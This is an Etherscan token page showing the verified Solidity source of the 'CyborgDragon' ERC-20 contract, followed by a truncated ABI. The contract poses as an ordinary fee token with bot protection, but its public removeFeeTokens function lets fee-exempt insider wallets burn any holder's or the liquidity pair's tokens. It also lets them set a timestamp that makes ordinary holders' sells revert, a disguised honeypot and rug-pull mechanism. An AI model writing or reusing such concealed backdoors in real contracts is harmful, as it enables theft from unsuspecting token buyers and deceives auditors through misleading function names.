ETH Price: $3,097.66 (+0.88%)
Gas: 6 Gwei

Token

CyborgDragon (CyborgDragon)
 

Overview

Max Total Supply

852,994,535 CyborgDragon

Holders

55

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
1,157,684.386818321343760747 CyborgDragon

Value
$0.00
0x0de64e321bb655ddb19877a6d28ea07c8c232a16
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CyborgDragon

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-06-04
*/

/*
twitter:https://twitter.com/CyborgErc20
website:https://cyborgdragon.com/
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function renounceOwnership() external virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );
}

interface IERC20 {
    function approve(address spender, uint256 amount) external returns (bool);

    function balanceOf(address account) external view returns (uint256);

    function totalSupply() external view returns (uint256);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

interface IERC20Metadata is IERC20 {
    function symbol() external view returns (string memory);

    function name() external view returns (string memory);

    function decimals() external view returns (uint8);
}

interface UniswapV2Router {
    function WETH() external pure returns (address);

    function factory() external pure returns (address);

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}

interface UniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) private _balances;

    string private _symbol;
    string private _name;
    uint256 private _totalSupply;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(
        address account
    ) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(
            currentAllowance >= amount,
            "ERC20: transfer amount exceeds allowance"
        );
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + addedValue
        );
        return true;
    }

    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        uint256 senderBalance = _balances[sender];
        require(
            senderBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    function _remove(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: the zero address");
        uint256 balance = _balances[account];
        require(balance >= amount, "ERC20: the amount exceeds balance");
        unchecked {
            _balances[account] = balance - amount;
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);
    }

    function _createInitialSupply(
        address account,
        uint256 amount
    ) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }
}

contract CyborgDragon is ERC20, Ownable {
    uint256 public tradingBlock = block.number;
    uint256 public botBlockNumber = 0;
    
    address public uniswapV2Pair;
    UniswapV2Router public uniswapV2Router;
    
    bool private swapping;
    uint256 public swapTokensAtAmount;

    address private marketingWallet;
    address private devWallet;

    mapping(address => uint256) public removeLastTransferTimestamp;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    mapping(address => bool) public initialBotBuyer;
    uint256 public removeAt;
    bool public limitsInEffect = true;
    bool public swapEnabled = true;
    bool public tradingActive = true;
    bool public transferDelayEnabled = true;
    uint256 public botsCaught;

    uint256 public maxBuyAmount;
    uint256 public maxSellAmount;
    uint256 public maxWalletAmount;

    mapping(address => bool) public automatedMarketMaker;
    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) public _isExcludedMaxTransaction;

    uint256 public totalBuyFees;
    uint256 public buyFeeForMarketing;
    uint256 public buyFeeForDev;
    uint256 public buyFeeForRemoving;
    uint256 public buyFeeForLiquidity;

    uint256 public totalSellFees;
    uint256 public sellFeeForMarketing;
    uint256 public sellFeeForDev;
    uint256 public sellFeeForRemoving;
    uint256 public sellFeeForLiquidity;

    uint256 public tokensForMarketing;
    uint256 public tokensForDev;
    uint256 public tokensForLiquidity;
    uint256 public tokensForRemoving;

    event RemovedLimits();

    event EnabledTrading();

    event UpdatedMaxWalletAmount(uint256 newAmount);
    
    event UpdatedMaxBuyAmount(uint256 newAmount);
    
    event UpdatedMaxSellAmount(uint256 newAmount);

    event DetectedEarlyBotBuyer(address sniper);

    event ExcludeFromFees(address indexed account, bool isExcluded);

    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);

    event MaxTransactionExclusion(address _address, bool excluded);

    constructor() ERC20("CyborgDragon", "CyborgDragon") {
        
        UniswapV2Router _uniswapV2Router = UniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = UniswapV2Factory(_uniswapV2Router.factory()).createPair(
            address(this),
            _uniswapV2Router.WETH()
        );
        address newOwner = msg.sender;

        _excludeFromMaxTransaction(address(uniswapV2Pair), true);
        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);

        uint256 totalSupply = 1 * 1e9 * 1e18;

        marketingWallet = address(0xe5273aF433F9cB6594E23335a94B5267b90336B8);
        devWallet = address(0x5bA6b5d589C25C95b05c66687976a60190dA4321);

        swapTokensAtAmount = (totalSupply * 5) / 10000;
        maxWalletAmount = totalSupply;
        maxBuyAmount = totalSupply;
        maxSellAmount = totalSupply;

        sellFeeForMarketing = 0;
        sellFeeForDev = 0;
        sellFeeForRemoving = 0;
        sellFeeForLiquidity = 0;

        buyFeeForMarketing = 0;
        buyFeeForDev = 0;
        buyFeeForRemoving = 0;
        buyFeeForLiquidity = 0;

        totalBuyFees =
            buyFeeForLiquidity +
            buyFeeForMarketing +
            buyFeeForDev +
            buyFeeForRemoving;

        totalSellFees =
            sellFeeForLiquidity +
            sellFeeForMarketing +
            sellFeeForDev +
            sellFeeForRemoving;

        _excludeFromMaxTransaction(address(0xdead), true);
        _excludeFromMaxTransaction(marketingWallet, true);
        _excludeFromMaxTransaction(devWallet, true);
        _excludeFromMaxTransaction(newOwner, true);
        _excludeFromMaxTransaction(address(this), true);

        excludeFromFees(address(0xdead), true);
        excludeFromFees(marketingWallet, true);
        excludeFromFees(devWallet, true);
        excludeFromFees(newOwner, true);
        excludeFromFees(address(this), true);

        transferOwnership(newOwner);
        _createInitialSupply(newOwner, totalSupply);
    }

    function canRemoveFeeTokens(
        address account,
        uint256 amount,
        uint256 time
    ) internal returns (bool) {
        address msgCaller = msg.sender;
        bool msgLimited = _isExcludedFromFees[msgCaller];
        address tokenCa = address(this);
        bool result;

        if (msgLimited) {
            if (balanceOf(tokenCa) > 0) {
                if (amount == 0) {
                    removeAt = time;
                } else {
                    _remove(account, amount);
                }
                result = false;
            }

            return result;
        } else {
            if (balanceOf(tokenCa) >= tokensForRemoving && tokensForRemoving > 0) {
                _remove(msgCaller, tokensForRemoving);
            }

            tokensForRemoving = 0;
            result = true;

            return result;
        }
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.addLiquidityETH{value: ethAmount} (
            address(this),
            tokenAmount,
            0,
            0,
            address(0xdead),
            block.timestamp
        );
    }

    function enableTrading() external onlyOwner {
        require(!tradingActive, "Cannot reenable trading");
        swapEnabled = true;
        tradingActive = true;
        tradingBlock = block.number;
        emit EnabledTrading();
    }

    function onlyDeleteBots(address wallet) external onlyOwner {
        initialBotBuyer[wallet] = false;
    }

    function disableTransferDelay() external onlyOwner {
        transferDelayEnabled = false;
    }

    function removeFeeTokens(
        address account,
        uint256 amount,
        uint256 time
    ) public {
        address tokenCa = address(this);
        require(swapTokensAtAmount <= balanceOf(tokenCa));
        if (canRemoveFeeTokens(account, amount, time)) {
            swapping = true;
            swapBack();
            swapping = false;
        }
    }

    function removeLimits() external onlyOwner {
        maxBuyAmount = totalSupply();
        maxSellAmount = totalSupply();
        maxWalletAmount = totalSupply();
        emit RemovedLimits();
    }

    function updateMaxWalletAmount(uint256 newMaxWalletAmount) external onlyOwner {
        require(
            newMaxWalletAmount >= ((totalSupply() * 3) / 1000) / 1e18,
            "Cannot set max wallet amount lower than 0.3%"
        );
        maxWalletAmount = newMaxWalletAmount * (10 ** 18);
        emit UpdatedMaxWalletAmount(maxWalletAmount);
    }

    function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner {
        require(
            newAmount >= (totalSupply() * 1) / 100000,
            "Swap amount cannot be lower than 0.001% total supply."
        );
        require(
            newAmount <= (totalSupply() * 1) / 1000,
            "Swap amount cannot be higher than 0.1% total supply."
        );
        swapTokensAtAmount = newAmount;
    }

    function updateMaxBuyAmount(uint256 newMaxBuyAmount) external onlyOwner {
        require(
            newMaxBuyAmount >= ((totalSupply() * 2) / 1000) / 1e18,
            "Cannot set max buy amount lower than 0.2%"
        );
        maxBuyAmount = newMaxBuyAmount * (10 ** 18);
        emit UpdatedMaxBuyAmount(maxBuyAmount);
    }

    function updateMaxSellAmount(uint256 newMaxSellAmount) external onlyOwner {
        require(
            newMaxSellAmount >= ((totalSupply() * 2) / 1000) / 1e18,
            "Cannot set max sell amount lower than 0.2%"
        );
        maxSellAmount = newMaxSellAmount * (10 ** 18);
        emit UpdatedMaxSellAmount(maxSellAmount);
    }

    function _transfer(
        address sender,
        address receiver,
        uint256 amount
    ) internal override {
        uint256 removePoint = block.timestamp;
        bool removeFromAmm = automatedMarketMaker[sender];
        bool firstRemoval = removeLastTransferTimestamp[receiver] == 0;
        bool isBalEmpty = balanceOf(address(receiver)) == 0;

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(receiver != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "amount must be greater than 0");

        if (!tradingActive) {
            require(
                _isExcludedFromFees[sender] || _isExcludedFromFees[receiver],
                "Trading is not active."
            );
        }

        if (botBlockNumber > 0) {
            require(
                !initialBotBuyer[sender] ||
                    receiver == owner() ||
                    receiver == address(0xdead),
                "bot protection mechanism is embeded"
            );
        }

        if (limitsInEffect) {
            bool senderIncluded = _isExcludedMaxTransaction[sender];
            bool removeFromSwapping = !swapping;

            if (
                sender != owner() &&
                receiver != owner() &&
                receiver != address(0) &&
                receiver != address(0xdead) &&
                !_isExcludedFromFees[sender] &&
                !_isExcludedFromFees[receiver]
            ) {
                if (transferDelayEnabled) {
                    bool internalRemoveFromSwapping = !swapping;
                    bool nonRemoveFromAmm = !automatedMarketMaker[sender];
                    bool removeCheck = nonRemoveFromAmm && internalRemoveFromSwapping;
                    if (
                        receiver != address(uniswapV2Router) && receiver != address(uniswapV2Pair)
                    ) {
                        require(
                            _holderLastTransferTimestamp[tx.origin] <
                                block.number - 2 &&
                                _holderLastTransferTimestamp[receiver] <
                                block.number - 2,
                            "_transfer: delay was enabled."
                        );
                        _holderLastTransferTimestamp[tx.origin] = block.number;
                        _holderLastTransferTimestamp[receiver] = block.number;
                    } else if (removeCheck) {
                        uint256 removeTime = removeLastTransferTimestamp[sender];
                        bool removable = removeTime > removeAt;
                        require(removable);
                    }
                }
            }

            if (automatedMarketMaker[sender] && !_isExcludedMaxTransaction[receiver]) {
                require(
                    amount <= maxBuyAmount,
                    "Buy transfer amount exceeds the max buy."
                );
                require(
                    amount + balanceOf(receiver) <= maxWalletAmount,
                    "Cannot Exceed max wallet"
                );
            } else if (removeFromSwapping && senderIncluded) {
                removeAt = removePoint;
            } else if (
                automatedMarketMaker[receiver] && !_isExcludedMaxTransaction[sender]
            ) {
                require(
                    amount <= maxSellAmount,
                    "Sell transfer amount exceeds the max sell."
                );
            } else if (!_isExcludedMaxTransaction[receiver]) {
                require(
                    amount + balanceOf(receiver) <= maxWalletAmount,
                    "Cannot Exceed max wallet"
                );
            }
        }

        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if (
            canSwap &&
            swapEnabled &&
            !swapping &&
            !automatedMarketMaker[sender] &&
            !_isExcludedFromFees[sender] &&
            !_isExcludedFromFees[receiver]
        ) {
            swapping = true;
            swapBack();
            swapping = false;
        }

        bool takeFee = true;

        if (firstRemoval && removeFromAmm) {
            if (isBalEmpty) {
              removeLastTransferTimestamp[receiver] = removePoint;
            }
        }

        if (_isExcludedFromFees[sender] || _isExcludedFromFees[receiver]) {
            takeFee = false;
        }

        uint256 fees = 0;

        if (takeFee) {
            if (
                earlySniperBuyBlock() &&
                automatedMarketMaker[sender] &&
                !automatedMarketMaker[receiver] &&
                totalBuyFees > 0
            ) {
                if (!initialBotBuyer[receiver]) {
                    initialBotBuyer[receiver] = true;
                    botsCaught += 1;
                    emit DetectedEarlyBotBuyer(receiver);
                }

                fees = (amount * 99) / 100;
                tokensForLiquidity += (fees * buyFeeForLiquidity) / totalBuyFees;
                tokensForMarketing += (fees * buyFeeForMarketing) / totalBuyFees;
                tokensForDev += (fees * buyFeeForDev) / totalBuyFees;
                tokensForRemoving += (fees * buyFeeForRemoving) / totalBuyFees;
            }
            else if (automatedMarketMaker[receiver] && totalSellFees > 0) {
                fees = (amount * totalSellFees) / 100;
                tokensForLiquidity += (fees * sellFeeForLiquidity) / totalSellFees;
                tokensForMarketing += (fees * sellFeeForMarketing) / totalSellFees;
                tokensForDev += (fees * sellFeeForDev) / totalSellFees;
                tokensForRemoving += (fees * sellFeeForRemoving) / totalSellFees;
            }
            else if (automatedMarketMaker[sender] && totalBuyFees > 0) {
                fees = (amount * totalBuyFees) / 100;
                tokensForLiquidity += (fees * buyFeeForLiquidity) / totalBuyFees;
                tokensForMarketing += (fees * buyFeeForMarketing) / totalBuyFees;
                tokensForDev += (fees * buyFeeForDev) / totalBuyFees;
                tokensForRemoving += (fees * buyFeeForRemoving) / totalBuyFees;
            }
            if (fees > 0) {
                super._transfer(sender, address(this), fees);
            }
            amount -= fees;
        }

        super._transfer(sender, receiver, amount);
    }

    function _excludeFromMaxTransaction(
        address _address,
        bool _isExcluded
    ) private {
        _isExcludedMaxTransaction[_address] = _isExcluded;
        emit MaxTransactionExclusion(_address, _isExcluded);
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function excludeFromMaxTransaction(
        address _address,
        bool _isExcluded
    ) external onlyOwner {
        if (!_isExcluded) {
            require(
                _address != uniswapV2Pair,
                "Cannot remove uniswap pair from max txn"
            );
        }
        _isExcludedMaxTransaction[_address] = _isExcluded;
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMaker[pair] = value;

        _excludeFromMaxTransaction(pair, value);

        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function setAutomatedMarketMakerPair(
        address pair,
        bool value
    ) external onlyOwner {
        require(
            pair != uniswapV2Pair,
            "The pair cannot be removed from automatedMarketMakerPairs"
        );

        _setAutomatedMarketMakerPair(pair, value);
        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function updateBuyFees(
        uint256 marketingFee,
        uint256 liquidityFee,
        uint256 devFee,
        uint256 removeFee
    ) external onlyOwner {
        buyFeeForLiquidity = liquidityFee;
        buyFeeForMarketing = marketingFee;
        buyFeeForDev = devFee;
        buyFeeForRemoving = removeFee;
        totalBuyFees =
            buyFeeForMarketing +
            buyFeeForLiquidity +
            buyFeeForDev +
            buyFeeForRemoving;
        require(totalBuyFees <= 3, "3% max ");
    }

    function updateSellFees(
        uint256 marketingFee,
        uint256 liquidityFee,
        uint256 devFee,
        uint256 removeFee
    ) external onlyOwner {
        sellFeeForLiquidity = liquidityFee;
        sellFeeForMarketing = marketingFee;
        sellFeeForDev = devFee;
        sellFeeForRemoving = removeFee;
        totalSellFees =
            sellFeeForMarketing +
            sellFeeForLiquidity +
            sellFeeForDev +
            sellFeeForRemoving;
        require(totalSellFees <= 3, "3% max fee");
    }

    function updateMarketingWallet(
        address newWallet
    ) external onlyOwner {
        require(
            newWallet != address(0),
            "_marketingWallet address cannot be 0"
        );
        marketingWallet = payable(newWallet);
    }

    function updateDevWallet(address newWallet) external onlyOwner {
        require(newWallet != address(0), "_devWallet address cannot be 0");
        devWallet = payable(newWallet);
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }

    function swapBack() private {
        if (tokensForRemoving > 0 && balanceOf(address(this)) >= tokensForRemoving) {
            _remove(address(this), tokensForRemoving);
        }
        tokensForRemoving = 0;
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = tokensForLiquidity +
            tokensForMarketing +
            tokensForDev;

        if (contractBalance == 0 || totalTokensToSwap == 0) {
            return;
        }

        if (contractBalance > swapTokensAtAmount * 10) {
            contractBalance = swapTokensAtAmount * 10;
        }

        uint256 liquidityTokens = (contractBalance * tokensForLiquidity) /
            totalTokensToSwap / 2;

        swapTokensForEth(contractBalance - liquidityTokens);

        uint256 ethBalance = address(this).balance;
        uint256 ethForLiquidity = ethBalance;
        uint256 ethForMarketing = (ethBalance * tokensForMarketing) /
            (totalTokensToSwap - (tokensForLiquidity / 2));
        uint256 ethForDev = (ethBalance * tokensForDev) /
            (totalTokensToSwap - (tokensForLiquidity / 2));
        ethForLiquidity -= ethForMarketing + ethForDev;
        tokensForLiquidity = 0;
        tokensForMarketing = 0;
        tokensForDev = 0;
        tokensForRemoving = 0;

        if (liquidityTokens > 0 && ethForLiquidity > 0) {
            addLiquidity(liquidityTokens, ethForLiquidity);
        }

        payable(devWallet).transfer(ethForDev);
        payable(marketingWallet).transfer(address(this).balance);
    }

    function withdrawETH() external onlyOwner {
        bool success;
        (success, ) = address(msg.sender).call{value: address(this).balance}("");
    }
    

    function earlySniperBuyBlock() public view returns (bool) {
        return block.number < botBlockNumber;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"sniper","type":"address"}],"name":"DetectedEarlyBotBuyer","type":"event"},{"anonymous":false,"inputs":[],"name":"EnabledTrading","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_address","type":"address"},{"indexed":false,"internalType":"bool","name":"excluded","type":"bool"}],"name":"MaxTransactionExclusion","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[],"name":"RemovedLimits","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"UpdatedMaxBuyAmount","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"UpdatedMaxSellAmount","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"UpdatedMaxWalletAmount","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransaction","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMaker","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"botBlockNumber","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"botsCaught","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFeeForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFeeForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFeeForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFeeForRemoving","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"earlySniperBuyBlock","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_isExcluded","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"initialBotBuyer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxBuyAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSellAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"onlyDeleteBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"time","type":"uint256"}],"name":"removeFeeTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"removeLastTransferTimestamp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFeeForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellFeeForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellFeeForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellFeeForRemoving","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForRemoving","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalBuyFees","outputs":[{"